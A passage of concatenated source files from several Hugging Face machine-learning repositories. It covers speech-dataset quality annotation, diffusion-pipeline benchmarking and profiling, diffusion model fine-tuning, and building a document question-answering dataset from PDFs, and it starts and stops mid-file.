+    if isinstance(batch[audio_column_name], list):
+        sdr = []
+        pesq = []
+        stoi = []
+        for sample in batch[audio_column_name]:
+            waveform = torchaudio.functional.resample(torch.tensor(sample['array'])[None, :].to(device).float(), sample['sampling_rate'], SQUIM_OBJECTIVE.sample_rate)
+            with torch.no_grad():
+                waveform = waveform[:, :min(max_audio_length, waveform.shape[1])]
+                (stoi_sample, pesq_sample, sdr_sample) = model(waveform)
+            sdr.append(sdr_sample.cpu()[0])
+            pesq.append(pesq_sample.cpu()[0])
+            stoi.append(stoi_sample.cpu()[0])
+        batch['sdr'] = sdr
+        batch['pesq'] = pesq
+        batch['stoi'] = stoi
+    else:
+        waveform = torchaudio.functional.resample(torch.tensor(batch[audio_column_name]['array'][None, :]).to(device).float(), batch[audio_column_name]['sampling_rate'], SQUIM_OBJECTIVE.sample_rate)
+        with torch.no_grad():
+            (stoi_sample, pesq_sample, sdr_sample) = model(waveform)
+        batch['sdr'] = sdr_sample.cpu()[0]
+        batch['pesq'] = pesq_sample.cpu()[0]
+        batch['stoi'] = stoi_sample.cpu()[0]
+    return batch
+
+# File: dataspeech-main/main.py
+from datasets import load_dataset, Audio
+from multiprocess import set_start_method
+from dataspeech import rate_apply, pitch_apply, snr_apply, squim_apply
+import torch
+import argparse
+if __name__ == '__main__':
+    set_start_method('spawn')
+    parser = argparse.ArgumentParser()
+    parser.add_argument('dataset_name', type=str, help='Path or name of the dataset. See: https://huggingface.co/docs/datasets/v2.17.0/en/package_reference/loading_methods#datasets.load_dataset.path')
+    parser.add_argument('--configuration', default=None, type=str, help='Dataset configuration to use, if necessary.')
+    parser.add_argument('--output_dir', default=None, type=str, help='If specified, save the dataset on disk with this path.')
+    parser.add_argument('--repo_id', default=None, type=str, help='If specified, push the dataset to the hub.')
+    parser.add_argument('--audio_column_name', default='audio', type=str, help='Column name of the audio column to be enriched.')
+    parser.add_argument('--text_column_name', default='text', type=str, help='Text column name.')
+    parser.add_argument('--rename_column', action='store_true', help="If activated, rename audio and text column names to 'audio' and 'text'. Useful if you want to merge datasets afterwards.")
+    parser.add_argument('--cpu_num_workers', default=1, type=int, help="Number of CPU workers for transformations that don't use GPUs or if no GPU are available.")
+    parser.add_argument('--cpu_writer_batch_size', default=1000, type=int, help="writer_batch_size for transformations that don't use GPUs. See: https://huggingface.co/docs/datasets/v2.17.0/en/package_reference/main_classes#datasets.Dataset.map.writer_batch_size")
+    parser.add_argument('--batch_size', default=2, type=int, help='This parameters specify how many samples are passed by workers for operations that are using GPUs.')
+    parser.add_argument('--penn_batch_size', default=4096, type=int, help="Pitch estimation chunks audio into smaller pieces and processes them in batch. This specify the batch size. If you are using a gpu, pick a batch size that doesn't cause memory errors.")
+    parser.add_argument('--num_workers_per_gpu_for_pitch', default=1, type=int, help='Number of workers per GPU for the pitch estimation if GPUs are available. Defaults to 1 if some are avaiable. Useful if you want multiple processes per GPUs to maximise GPU usage.')
+    parser.add_argument('--num_workers_per_gpu_for_snr', default=1, type=int, help='Number of workers per GPU for the SNR and reverberation estimation if GPUs are available. Defaults to 1 if some are avaiable. Useful if you want multiple processes per GPUs to maximise GPU usage.')
+    parser.add_argument('--apply_squim_quality_estimation', action='store_true', help='If set, will also use torchaudio-squim estimation (SI-SNR, STOI and PESQ).')
+    parser.add_argument('--num_workers_per_gpu_for_squim', default=1, type=int, help='Number of workers per GPU for the SI-SNR, STOI and PESQ estimation if GPUs are available. Defaults to 1 if some are avaiable. Useful if you want multiple processes per GPUs to maximise GPU usage.')
+    args = parser.parse_args()
+    if args.configuration:
+        dataset = load_dataset(args.dataset_name, args.configuration, num_proc=args.cpu_num_workers)
+    else:
+        dataset = load_dataset(args.dataset_name, num_proc=args.cpu_num_workers)
+    audio_column_name = 'audio' if args.rename_column else args.audio_column_name
+    text_column_name = 'text' if args.rename_column else args.text_column_name
+    if args.rename_column:
+        dataset = dataset.rename_columns({args.audio_column_name: 'audio', args.text_column_name: 'text'})
+    if args.apply_squim_quality_estimation:
+        print('Compute SI-SDR, PESQ, STOI')
+        squim_dataset = dataset.map(squim_apply, batched=True, batch_size=args.batch_size, with_rank=True if torch.cuda.device_count() > 0 else False, num_proc=torch.cuda.device_count() * args.num_workers_per_gpu_for_squim if torch.cuda.device_count() > 0 else args.cpu_num_workers, remove_columns=[audio_column_name], fn_kwargs={'audio_column_name': audio_column_name})
+    print('Compute pitch')
+    pitch_dataset = dataset.cast_column(audio_column_name, Audio(sampling_rate=16000)).map(pitch_apply, batched=True, batch_size=args.batch_size, with_rank=True if torch.cuda.device_count() > 0 else False, num_proc=torch.cuda.device_count() * args.num_workers_per_gpu_for_pitch if torch.cuda.device_count() > 0 else args.cpu_num_workers, remove_columns=[audio_column_name], fn_kwargs={'audio_column_name': audio_column_name, 'penn_batch_size': args.penn_batch_size})
+    print('Compute snr and reverb')
+    snr_dataset = dataset.map(snr_apply, batched=True, batch_size=args.batch_size, with_rank=True if torch.cuda.device_count() > 0 else False, num_proc=torch.cuda.device_count() * args.num_workers_per_gpu_for_snr if torch.cuda.device_count() > 0 else args.cpu_num_workers, remove_columns=[audio_column_name], fn_kwargs={'audio_column_name': audio_column_name})
+    print('Compute speaking rate')
+    if 'speech_duration' in snr_dataset[next(iter(snr_dataset.keys()))].features:
+        rate_dataset = snr_dataset.map(rate_apply, with_rank=False, num_proc=args.cpu_num_workers, writer_batch_size=args.cpu_writer_batch_size, fn_kwargs={'audio_column_name': audio_column_name, 'text_column_name': text_column_name})
+    else:
+        rate_dataset = dataset.map(rate_apply, with_rank=False, num_proc=args.cpu_num_workers, writer_batch_size=args.cpu_writer_batch_size, remove_columns=[audio_column_name], fn_kwargs={'audio_column_name': audio_column_name, 'text_column_name': text_column_name})
+    for split in dataset.keys():
+        dataset[split] = pitch_dataset[split].add_column('snr', snr_dataset[split]['snr']).add_column('c50', snr_dataset[split]['c50'])
+        if 'speech_duration' in snr_dataset[split]:
+            dataset[split] = dataset[split].add_column('speech_duration', snr_dataset[split]['speech_duration'])
+        dataset[split] = dataset[split].add_column('speaking_rate', rate_dataset[split]['speaking_rate']).add_column('phonemes', rate_dataset[split]['phonemes'])
+        if args.apply_squim_quality_estimation:
+            dataset[split] = dataset[split].add_column('stoi', squim_dataset[split]['stoi']).add_column('si-sdr', squim_dataset[split]['sdr']).add_column('pesq', squim_dataset[split]['pesq'])
+    if args.output_dir:
+        print('Saving to disk...')
+        dataset.save_to_disk(args.output_dir)
+    if args.repo_id:
+        print('Pushing to the hub...')
+        if args.configuration:
+            dataset.push_to_hub(args.repo_id, args.configuration)
+        else:
+            dataset.push_to_hub(args.repo_id)
+

huggingface_diffusion-fast.txt

@@ -0,0 +1,160 @@
+# File: diffusion-fast-main/prepare_results.py
+import argparse
+import glob
+import os
+import sys
+import matplotlib.pyplot as plt
+import pandas as pd
+import seaborn as sns
+from huggingface_hub import upload_file
+sys.path.append('.')
+from utils.benchmarking_utils import collate_csv
+REPO_ID = 'sayakpaul/sample-datasets'
+
+def prepare_plot(df, args):
+    columns_to_drop = ['batch_size', 'num_inference_steps', 'pipeline_cls', 'ckpt_id', 'upcast_vae', 'memory (gbs)', 'actual_gpu_memory (gbs)', 'tag']
+    df_filtered = df.drop(columns=columns_to_drop)
+    df_filtered[['quant']] = df_filtered[['do_quant']].fillna('None')
+    df_filtered.drop(columns=['do_quant'], inplace=True)
+    df_filtered['settings'] = df_filtered.apply(lambda row: ', '.join([f'{col}-{row[col]}' for col in df_filtered.columns if col != 'time (secs)']), axis=1)
+    df_filtered['formatted_settings'] = df_filtered['settings'].str.replace(', ', '\n', regex=False)
+    df_filtered.loc[0, 'formatted_settings'] = 'default'
+    plt.figure(figsize=(12, 10))
+    sns.set_style('whitegrid')
+    n_settings = len(df_filtered['formatted_settings'].unique())
+    bar_positions = range(n_settings)
+    palette = sns.color_palette('husl', n_settings)
+    bar_width = 0.25
+    for (i, setting) in enumerate(df_filtered['formatted_settings'].unique()):
+        mean_time = df_filtered[df_filtered['formatted_settings'] == setting]['time (secs)'].mean()
+        plt.bar(i, mean_time, width=bar_width, align='center', color=palette[i])
+        plt.text(i, mean_time + 0.01, f'{mean_time:.2f}', ha='center', va='bottom', fontsize=14, fontweight='bold')
+    plt.xticks(bar_positions, df_filtered['formatted_settings'].unique(), rotation=45, ha='right', fontsize=10)
+    plt.ylabel('Time in Seconds', fontsize=14, labelpad=15)
+    plt.xlabel('Settings', fontsize=14, labelpad=15)
+    plt.title(args.plot_title, fontsize=18, fontweight='bold', pad=20)
+    plt.grid(axis='y', linestyle='--', linewidth=0.7, alpha=0.7)
+    plt.tight_layout()
+    plt.subplots_adjust(top=0.9, bottom=0.2)
+    plot_path = args.plot_title.replace(' ', '_') + '.png'
+    plt.savefig(plot_path, bbox_inches='tight', dpi=300)
+    if args.push_to_hub:
+        upload_file(repo_id=REPO_ID, path_in_repo=plot_path, path_or_fileobj=plot_path, repo_type='dataset')
+        print(f'Plot successfully uploaded. Find it here: https://huggingface.co/datasets/{REPO_ID}/blob/main/{args.plot_file_path}')
+    plt.show()
+
+def main(args):
+    all_csvs = sorted(glob.glob(f'{args.base_path}/*.csv'))
+    all_csvs = [os.path.join(args.base_path, x) for x in all_csvs]
+    is_pixart = 'PixArt-alpha' in all_csvs[0]
+    collate_csv(all_csvs, args.final_csv_filename, is_pixart=is_pixart)
+    if args.push_to_hub:
+        upload_file(repo_id=REPO_ID, path_in_repo=args.final_csv_filename, path_or_fileobj=args.final_csv_filename, repo_type='dataset')
+        print(f'CSV successfully uploaded. Find it here: https://huggingface.co/datasets/{REPO_ID}/blob/main/{args.final_csv_filename}')
+    if args.plot_title is not None:
+        df = pd.read_csv(args.final_csv_filename)
+        prepare_plot(df, args)
+if __name__ == '__main__':
+    parser = argparse.ArgumentParser()
+    parser.add_argument('--base_path', type=str, default='.')
+    parser.add_argument('--final_csv_filename', type=str, default='collated_results.csv')
+    parser.add_argument('--plot_title', type=str, default=None)
+    parser.add_argument('--push_to_hub', action='store_true')
+    args = parser.parse_args()
+    main(args)
+
+# File: diffusion-fast-main/run_benchmark.py
+import torch
+torch.set_float32_matmul_precision('high')
+import sys
+sys.path.append('.')
+from utils.benchmarking_utils import benchmark_fn, create_parser, generate_csv_dict, write_to_csv
+from utils.pipeline_utils import load_pipeline
+
+def run_inference(pipe, args):
+    _ = pipe(prompt=args.prompt, num_inference_steps=args.num_inference_steps, num_images_per_prompt=args.batch_size)
+
+def main(args) -> dict:
+    pipeline = load_pipeline(ckpt=args.ckpt, compile_unet=args.compile_unet, compile_vae=args.compile_vae, no_sdpa=args.no_sdpa, no_bf16=args.no_bf16, upcast_vae=args.upcast_vae, enable_fused_projections=args.enable_fused_projections, do_quant=args.do_quant, compile_mode=args.compile_mode, change_comp_config=args.change_comp_config, device=args.device)
+    run_inference(pipeline, args)
+    run_inference(pipeline, args)
+    run_inference(pipeline, args)
+    time = benchmark_fn(run_inference, pipeline, args)
+    data_dict = generate_csv_dict(pipeline_cls=str(pipeline.__class__.__name__), args=args, time=time)
+    img = pipeline(prompt=args.prompt, num_inference_steps=args.num_inference_steps, num_images_per_prompt=args.batch_size).images[0]
+    return (data_dict, img)
+if __name__ == '__main__':
+    parser = create_parser()
+    args = parser.parse_args()
+    print(args)
+    (data_dict, img) = main(args)
+    name = args.ckpt.replace('/', '_') + f'bf16@{not args.no_bf16}-sdpa@{not args.no_sdpa}-bs@{args.batch_size}-fuse@{args.enable_fused_projections}-upcast_vae@{args.upcast_vae}-steps@{args.num_inference_steps}-unet@{args.compile_unet}-vae@{args.compile_vae}-mode@{args.compile_mode}-change_comp_config@{args.change_comp_config}-do_quant@{args.do_quant}-tag@{args.tag}-device@{args.device}.csv'
+    img.save(f"{name.replace('.csv', '')}.jpeg")
+    write_to_csv(name, data_dict)
+
+# File: diffusion-fast-main/run_benchmark_pixart.py
+import torch
+torch.set_float32_matmul_precision('high')
+import sys
+sys.path.append('.')
+from utils.benchmarking_utils import benchmark_fn, create_parser, generate_csv_dict, write_to_csv
+from utils.pipeline_utils_pixart import load_pipeline
+
+def run_inference(pipe, args):
+    _ = pipe(prompt=args.prompt, num_inference_steps=args.num_inference_steps, num_images_per_prompt=args.batch_size)
+
+def main(args) -> dict:
+    pipeline = load_pipeline(ckpt=args.ckpt, compile_transformer=args.compile_transformer, compile_vae=args.compile_vae, no_sdpa=args.no_sdpa, no_bf16=args.no_bf16, enable_fused_projections=args.enable_fused_projections, do_quant=args.do_quant, compile_mode=args.compile_mode, change_comp_config=args.change_comp_config, device=args.device)
+    run_inference(pipeline, args)
+    run_inference(pipeline, args)
+    run_inference(pipeline, args)
+    time = benchmark_fn(run_inference, pipeline, args)
+    data_dict = generate_csv_dict(pipeline_cls=str(pipeline.__class__.__name__), args=args, time=time)
+    img = pipeline(prompt=args.prompt, num_inference_steps=args.num_inference_steps, num_images_per_prompt=args.batch_size).images[0]
+    return (data_dict, img)
+if __name__ == '__main__':
+    parser = create_parser(is_pixart=True)
+    args = parser.parse_args()
+    print(args)
+    (data_dict, img) = main(args)
+    name = args.ckpt.replace('/', '_') + f'bf16@{not args.no_bf16}-sdpa@{not args.no_sdpa}-bs@{args.batch_size}-fuse@{args.enable_fused_projections}-upcast_vae@NA-steps@{args.num_inference_steps}-transformer@{args.compile_transformer}-vae@{args.compile_vae}-mode@{args.compile_mode}-change_comp_config@{args.change_comp_config}-do_quant@{args.do_quant}-tag@{args.tag}-device@{args.device}.csv'
+    img.save(f'{name}.jpeg')
+    write_to_csv(name, data_dict, is_pixart=True)
+
+# File: diffusion-fast-main/run_profile.py
+import torch
+torch.set_float32_matmul_precision('high')
+from torch._inductor import config as inductorconfig
+inductorconfig.triton.unique_kernel_names = True
+import functools
+import sys
+sys.path.append('.')
+from utils.benchmarking_utils import create_parser
+from utils.pipeline_utils import load_pipeline
+
+def profiler_runner(path, fn, *args, **kwargs):
+    with torch.profiler.profile(activities=[torch.profiler.ProfilerActivity.CPU, torch.profiler.ProfilerActivity.CUDA], record_shapes=True) as prof:
+        result = fn(*args, **kwargs)
+    prof.export_chrome_trace(path)
+    return result
+
+def run_inference(pipe, args):
+    _ = pipe(prompt=args.prompt, num_inference_steps=args.num_inference_steps, num_images_per_prompt=args.batch_size)
+
+def main(args) -> dict:
+    pipeline = load_pipeline(ckpt=args.ckpt, compile_unet=args.compile_unet, compile_vae=args.compile_vae, no_sdpa=args.no_sdpa, no_bf16=args.no_bf16, upcast_vae=args.upcast_vae, enable_fused_projections=args.enable_fused_projections, do_quant=args.do_quant, compile_mode=args.compile_mode, change_comp_config=args.change_comp_config, device=args.device)
+    run_inference(pipeline, args)
+    run_inference(pipeline, args)
+    trace_path = args.ckpt.replace('/', '_') + f'bf16@{not args.no_bf16}-sdpa@{not args.no_sdpa}-bs@{args.batch_size}-fuse@{args.enable_fused_projections}-upcast_vae@{args.upcast_vae}-steps@{args.num_inference_steps}-unet@{args.compile_unet}-vae@{args.compile_vae}-mode@{args.compile_mode}-change_comp_config@{args.change_comp_config}-do_quant@{args.do_quant}-device@{args.device}.json'
+    runner = functools.partial(profiler_runner, trace_path)
+    with torch.autograd.profiler.record_function('sdxl-brrr'):
+        runner(run_inference, pipeline, args)
+    return trace_path
+if __name__ == '__main__':
+    parser = create_parser()
+    args = parser.parse_args()
+    if not args.compile_unet:
+        args.compile_mode = 'NA'
+    trace_path = main(args)
+    print(f'Trace generated at: {trace_path}')
+

huggingface_diffusion-models-class.txt

@@ -0,0 +1,62 @@
+# File: diffusion-models-class-main/unit2/finetune_model.py
+import wandb
+import numpy as np
+import torch, torchvision
+import torch.nn.functional as F
+from PIL import Image
+from tqdm.auto import tqdm
+from fastcore.script import call_parse
+from torchvision import transforms
+from diffusers import DDPMPipeline
+from diffusers import DDIMScheduler
+from datasets import load_dataset
+from matplotlib import pyplot as plt
+
+@call_parse
+def train(image_size=256, batch_size=16, grad_accumulation_steps=2, num_epochs=1, start_model='google/ddpm-bedroom-256', dataset_name='huggan/wikiart', device='cuda', model_save_name='wikiart_1e', wandb_project='dm_finetune', log_samples_every=250, save_model_every=2500):
+    wandb.init(project=wandb_project, config=locals())
+    image_pipe = DDPMPipeline.from_pretrained(start_model)
+    image_pipe.to(device)
+    sampling_scheduler = DDIMScheduler.from_config(start_model)
+    sampling_scheduler.set_timesteps(num_inference_steps=50)
+    dataset = load_dataset(dataset_name, split='train')
+    preprocess = transforms.Compose([transforms.Resize((image_size, image_size)), transforms.RandomHorizontalFlip(), transforms.ToTensor(), transforms.Normalize([0.5], [0.5])])
+
+    def transform(examples):
+        images = [preprocess(image.convert('RGB')) for image in examples['image']]
+        return {'images': images}
+    dataset.set_transform(transform)
+    train_dataloader = torch.utils.data.DataLoader(dataset, batch_size=batch_size, shuffle=True)
+    optimizer = torch.optim.AdamW(image_pipe.unet.parameters(), lr=1e-05)
+    scheduler = torch.optim.lr_scheduler.ExponentialLR(optimizer, gamma=0.9)
+    for epoch in range(num_epochs):
+        for (step, batch) in tqdm(enumerate(train_dataloader), total=len(train_dataloader)):
+            clean_images = batch['images'].to(device)
+            noise = torch.randn(clean_images.shape).to(clean_images.device)
+            bs = clean_images.shape[0]
+            timesteps = torch.randint(0, image_pipe.scheduler.num_train_timesteps, (bs,), device=clean_images.device).long()
+            noisy_images = image_pipe.scheduler.add_noise(clean_images, noise, timesteps)
+            noise_pred = image_pipe.unet(noisy_images, timesteps, return_dict=False)[0]
+            loss = F.mse_loss(noise_pred, noise)
+            wandb.log({'loss': loss.item()})
+            loss.backward()
+            if (step + 1) % grad_accumulation_steps == 0:
+                optimizer.step()
+                optimizer.zero_grad()
+            if (step + 1) % log_samples_every == 0:
+                x = torch.randn(8, 3, 256, 256).to(device)
+                for (i, t) in tqdm(enumerate(sampling_scheduler.timesteps)):
+                    model_input = sampling_scheduler.scale_model_input(x, t)
+                    with torch.no_grad():
+                        noise_pred = image_pipe.unet(model_input, t)['sample']
+                    x = sampling_scheduler.step(noise_pred, t, x).prev_sample
+                grid = torchvision.utils.make_grid(x, nrow=4)
+                im = grid.permute(1, 2, 0).cpu().clip(-1, 1) * 0.5 + 0.5
+                im = Image.fromarray(np.array(im * 255).astype(np.uint8))
+                wandb.log({'Sample generations': wandb.Image(im)})
+            if (step + 1) % save_model_every == 0:
+                image_pipe.save_pretrained(model_save_name + f'step_{step + 1}')
+        scheduler.step()
+    image_pipe.save_pretrained(model_save_name)
+    wandb.finish()
+

huggingface_docmatix.txt

@@ -0,0 +1,604 @@
+# File: docmatix-main/analysis/count_words_in_dataset.py
+from collections import Counter
+import string
+
+def count_words(df, column_name):
+    overall_counter = Counter()
+    word_counts = []
+    for text in df[column_name]:
+        text = text.translate(str.maketrans(string.punctuation, ' ' * len(string.punctuation)))
+        words = text.lower().split()
+        word_count = len(words)
+        word_counts.append(word_count)
+        overall_counter.update(words)
+    df['word_count'] = word_counts
+    most_common_words = overall_counter.most_common(100)
+    return (df, most_common_words)
+
+# File: docmatix-main/analysis/plot.py
+import matplotlib.pyplot as plt
+import pandas as pd
+import seaborn as sns
+analysis_df = pd.read_json('prompt_analysis_results.json', orient='records', lines=True)
+sns.set(style='whitegrid')
+plt.figure(figsize=(16, 12))
+plt.subplot(3, 2, 1)
+sns.barplot(x='Prompt ID', y='Number of Q/A pairs', data=analysis_df, palette='viridis')
+plt.title('Number of Q/A pairs per Prompt ID')
+plt.xlabel('Prompt ID')
+plt.ylabel('Number of Q/A pairs')
+for (i, row) in analysis_df.iterrows():
+    plt.text(i, row['Number of Q/A pairs'], f"{row['Number of Q/A pairs'] / 1000000.0:.2f}e6", ha='center', va='bottom')
+plt.subplot(3, 2, 2)
+sns.barplot(x='Prompt ID', y='Average answer length', data=analysis_df, palette='viridis')
+plt.title('Average Answer Length per Prompt ID')
+plt.xlabel('Prompt ID')
+plt.ylabel('Average Answer Length')
+for (i, row) in analysis_df.iterrows():
+    plt.text(i, row['Average answer length'], f"{row['Average answer length']:.2f}", ha='center', va='bottom')
+plt.subplot(3, 2, 3)
+sns.barplot(x='Prompt ID', y='Diversity within documents', data=analysis_df, palette='viridis')
+plt.title('Diversity within Documents per Prompt ID')
+plt.xlabel('Prompt ID')
+plt.ylabel('Diversity within Documents')
+for (i, row) in analysis_df.iterrows():
+    plt.text(i, row['Diversity within documents'], f"{row['Diversity within documents']:.2f}", ha='center', va='bottom')
+plt.subplot(3, 2, 4)
+sns.barplot(x='Prompt ID', y='Total empty questions', data=analysis_df, palette='viridis')
+plt.title('Total Empty Questions per Prompt ID')
+plt.xlabel('Prompt ID')
+plt.ylabel('Total Empty Questions')
+for (i, row) in analysis_df.iterrows():
+    plt.text(i, row['Total empty questions'], f"{row['Total empty questions']}", ha='center', va='bottom')
+plt.subplot(3, 2, 5)
+sns.barplot(x='Prompt ID', y='Average Q/A pairs per page', data=analysis_df, palette='viridis')
+plt.title('Average Q/A pairs per Page per Prompt ID')
+plt.xlabel('Prompt ID')
+plt.ylabel('Average Q/A pairs per Page')
+for (i, row) in analysis_df.iterrows():
+    plt.text(i, row['Average Q/A pairs per page'], f"{row['Average Q/A pairs per page']:.2f}", ha='center', va='bottom')
+plt.subplot(3, 2, 6)
+sns.barplot(x='Prompt ID', y='Number of unique questions', data=analysis_df, palette='viridis')
+plt.title('Number of unique questions per Prompt ID')
+plt.xlabel('Prompt ID')
+plt.ylabel('Number of unique questions')
+for (i, row) in analysis_df.iterrows():
+    plt.text(i, row['Number of unique questions'], f"{row['Number of unique questions'] / 1000000.0:.2f}e6", ha='center', va='bottom')
+plt.tight_layout()
+plt.savefig('prompt_analysis_plots_enhanced.png')
+plt.show()
+report = f"\nPrompt Analysis Report\n=======================\nNumber of Q/A pairs per Prompt ID:\n{analysis_df[['Prompt ID', 'Number of Q/A pairs']]}\n\nAverage answer length per Prompt ID:\n{analysis_df[['Prompt ID', 'Average answer length']]}\n\nUnique questions per Prompt ID:\n{analysis_df[['Prompt ID', 'Number of unique questions']]}\n\nTotal pages per Prompt ID:\n{analysis_df[['Prompt ID', 'Total pages']]}\n\nAverage Q/A pairs per page per Prompt ID:\n{analysis_df[['Prompt ID', 'Average Q/A pairs per page']]}\n\nAverage answer length per page per Prompt ID:\n{analysis_df[['Prompt ID', 'Average answer length per page']]}\n\nDiversity within documents per Prompt ID:\n{analysis_df[['Prompt ID', 'Diversity within documents']]}\n\nTotal empty questions per Prompt ID:\n{analysis_df[['Prompt ID', 'Total empty questions']]}\n\n"
+with open('prompt_analysis_report.txt', 'w') as f:
+    f.write(report)
+print('Report and plots generated successfully.')
+
+# File: docmatix-main/clean_and_create/load_data.py
+import os
+import re
+import io
+from io import BytesIO
+import pandas as pd
+import datasets
+from pdf2image import convert_from_bytes
+from tqdm import tqdm
+from concurrent.futures import ThreadPoolExecutor
+import argparse
+import fitz
+import PIL.Image
+tqdm.pandas(desc='Pandas apply progress')
+fitz.TOOLS.mupdf_display_errors(False)
+DATA_PATH = '/fsx/andi/pdfa_data/'
+TAR_FILE_PATTERN = 'pdfa-eng-train-{:06d}.tar'
+
+def resize_large_images(image, max_image_size=2940):
+    (width, height) = image.size
+    aspect_ratio = width / height
+    resized = False
+    if width >= height and width > max_image_size:
+        width = max_image_size
+        height = int(width / aspect_ratio)
+        resized = True
+    elif height > width and height > max_image_size:
+        height = max_image_size
+        width = int(height * aspect_ratio)
+        resized = True
+    if resized:
+        image = image.resize((width, height), PIL.Image.LANCZOS)
+    return image
+
+def _decode_pdf_pages(sample):
+    try:
+        image_fmt = 'L'
+        with io.BytesIO(sample) as b:
+            doc = fitz.Document(stream=b)
+            num_image_pages = doc.page_count
+            decoded_image_pages = []
+            for page_index in range(num_image_pages):
+                page = doc.load_page(page_index)
+                pixmap = page.get_pixmap(dpi=150)
+                page_image = PIL.Image.frombuffer('RGB', (pixmap.width, pixmap.height), pixmap.samples)
+                page_image = resize_large_images(page_image.convert(image_fmt))
+                decoded_image_pages += [page_image]
+            return decoded_image_pages
+    except Exception as e:
+        print(f'Error decoding pdf pages: {e}')
+        return None
+
+def convert_img_to_png_bytes(img):
+    with BytesIO() as buffer:
+        img.save(buffer, format='PNG')
+        return buffer.getvalue()
+
+def process_images(pdf_bytes):
+    images = convert_from_bytes(pdf_bytes, dpi=150)
+    return [convert_img_to_png_bytes(resize_large_images(img)) for img in images]
+
+def is_valid_question_or_answer(text):
+    if not text or text.strip() == '':
+        return False
+    patterns = ['\\{.*?\\}', '\\[.*?\\]', '<.*?>', '\\b\\d{1,3}(\\.\\d{1,3}){3}\\b', '\\w+\\.\\w+', '\\n\\s*\\n', 'unanswerable', 'Q\\d+: ', 'A\\d+: ']
+    return not any((re.search(pattern, text, re.IGNORECASE) for pattern in patterns))
+
+def process_group(key_group):
+    try:
+        (key, group) = key_group
+        qa_pairs = []
+        for (_, row) in group.iterrows():
+            question = re.sub('^Q\\d+: ', '', row['question'])
+            answer = re.sub('^A\\d+: ', '', row['answer'])
+            if is_valid_question_or_answer(question) and is_valid_question_or_answer(answer):
+                qa_pairs.append({'user': question, 'assistant': answer, 'source': 'PDFA key: ' + str(row['__key__'])})
+        if qa_pairs:
+            return {'texts': qa_pairs, 'images': group['pdf'].iloc[0]}
+    except Exception as e:
+        print(f'Error processing group {key}: {e}')
+        return None
+
+def process_tar_index(tar_index, step_size, question_answer_df):
+    shard_nr = tar_index // step_size
+    loaded_datasets = []
+    for inner_idx in range(step_size):
+        tar_file = os.path.join(DATA_PATH, TAR_FILE_PATTERN.format(tar_index + inner_idx))
+        try:
+            print(f'Loading dataset from: {tar_file}')
+            hf_dataset = datasets.load_dataset('webdataset', split='train', data_files=tar_file, cache_dir='/fsx/.cache').to_pandas()
+            hf_dataset.__key__ = hf_dataset.__key__.apply(pd.to_numeric)
+            loaded_datasets.append(hf_dataset)
+        except Exception as e:
+            print(f'Error loading dataset from: {tar_file}')
+            print(e)
+    hf_dataset = pd.concat(loaded_datasets, ignore_index=True)
+    print(f'Concatenated datasets with {len(hf_dataset)} samples')
+    hf_dataset = hf_dataset[hf_dataset['__key__'].isin(question_answer_df['__key__'].unique())]
+    df_data = pd.DataFrame({'key': []})
+    if os.path.exists(f'/fsx/m4/datasets/large_docvqa/shard_{shard_nr}'):
+        print('using saved data')
+        df_data = datasets.load_from_disk(f'/fsx/m4/datasets/large_docvqa/shard_{shard_nr}').to_pandas()
+        df_data['__key__'] = df_data.texts.apply(lambda x: x[0]['source'].split('_')[1])
+        df_data['__key__'] = df_data['__key__'].apply(pd.to_numeric)
+        df_data.drop(columns=['texts'], inplace=True)
+        hf_dataset = hf_dataset[hf_dataset['__key__'].isin(df_data['__key__'].unique())]
+        hf_dataset = pd.merge(hf_dataset, df_data, on='__key__', how='inner')
+        hf_dataset['pdf'] = hf_dataset['images']
+        hf_dataset.drop(columns=['images'], inplace=True)
+        del df_data
+    else:
+        hf_dataset['pdf'] = hf_dataset['pdf'].progress_apply(lambda x: process_images(x))
+        hf_dataset = hf_dataset[~hf_dataset['pdf'].isnull()]
+    merged_df = pd.merge(hf_dataset, question_answer_df, on='__key__', how='inner')
+    data_extracted = []
+    max_threads = 10
+    with ThreadPoolExecutor(max_threads) as executor:
+        results = list(tqdm(executor.map(process_group, merged_df.groupby('__key__')), desc='Extracting data', total=len(merged_df['__key__'].unique())))
+    data_extracted.extend(results)
+    data_extracted = list(filter(lambda item: item is not None, data_extracted))
+    FEATURES = datasets.Features({'images': datasets.Sequence(datasets.Image(decode=True)), 'texts': [{'user': datasets.Value('string'), 'assistant': datasets.Value('string'), 'source': datasets.Value('string')}]})
+
+    def data_generator():
+        for data_dict in data_extracted:
+            yield data_dict
+    ds_shard = datasets.Dataset.from_generator(data_generator, features=FEATURES, writer_batch_size=100, cache_dir='/fsx/.cache')
+    ds_shard.save_to_disk(f'/fsx/m4/datasets/docvqa_instruct/shard_{shard_nr}')
+
+def load_and_concatenate_dataframes():
+    if os.path.exists('concatenated_synthetic_dataset.parquet.gzip'):
+        return pd.read_parquet('concatenated_synthetic_dataset.parquet.gzip')
+    directory = '.'
+    all_files = os.listdir(directory)
+    h5_files = sorted([f for f in all_files if re.match('synthetic_dataset_batch_\\d+\\.h5$', f)])
+    dataframes = []
+    for file in tqdm(h5_files, desc='Loading data'):
+        file_path = os.path.join(directory, file)
+        df = pd.read_hdf(file_path)
+        if '__key__' not in df.columns:
+            raise ValueError(f'Key column not found in {file_path}')
+        df.__key__ = df.__key__.apply(pd.to_numeric)
+        dataframes.append(df)
+    concatenated_df = pd.concat(dataframes, ignore_index=True)
+    concatenated_df.to_parquet('concatenated_synthetic_dataset.parquet.gzip', compression='gzip')
+    return concatenated_df
+if __name__ == '__main__':
+    parser = argparse.ArgumentParser(description='Process .h5 files and tar indices.')
+    parser.add_argument('--start_index', type=int, default=0, help='The starting index for tar processing.')
+    parser.add_argument('--step_size', type=int, default=1, help='The step size for tar processing.')
+    args = parser.parse_args()
+    question_answer_df = load_and_concatenate_dataframes()
+    print(len(question_answer_df))
+    process_tar_index(args.start_index, args.step_size, question_answer_df=question_answer_df)
+
+# File: docmatix-main/create_only_with_pdfs/load_data.py
+import os
+import re
+import pandas as pd
+import datasets
+from tqdm import tqdm
+from concurrent.futures import ThreadPoolExecutor
+import argparse
+tqdm.pandas(desc='Pandas apply progress')
+DATA_PATH = '/fsx/andi/pdfa_data/'
+TAR_FILE_PATTERN = 'pdfa-eng-train-{:06d}.tar'
+
+def is_valid_question_or_answer(text):
+    if not text or text.strip() == '':
+        return False
+    patterns = ['\\{.*?\\}', '\\[.*?\\]', '<.*?>', '\\b\\d{1,3}(\\.\\d{1,3}){3}\\b', '\\w+\\.\\w+', '\\n\\s*\\n', 'unanswerable', 'Q\\d+: ', 'A\\d+: ']
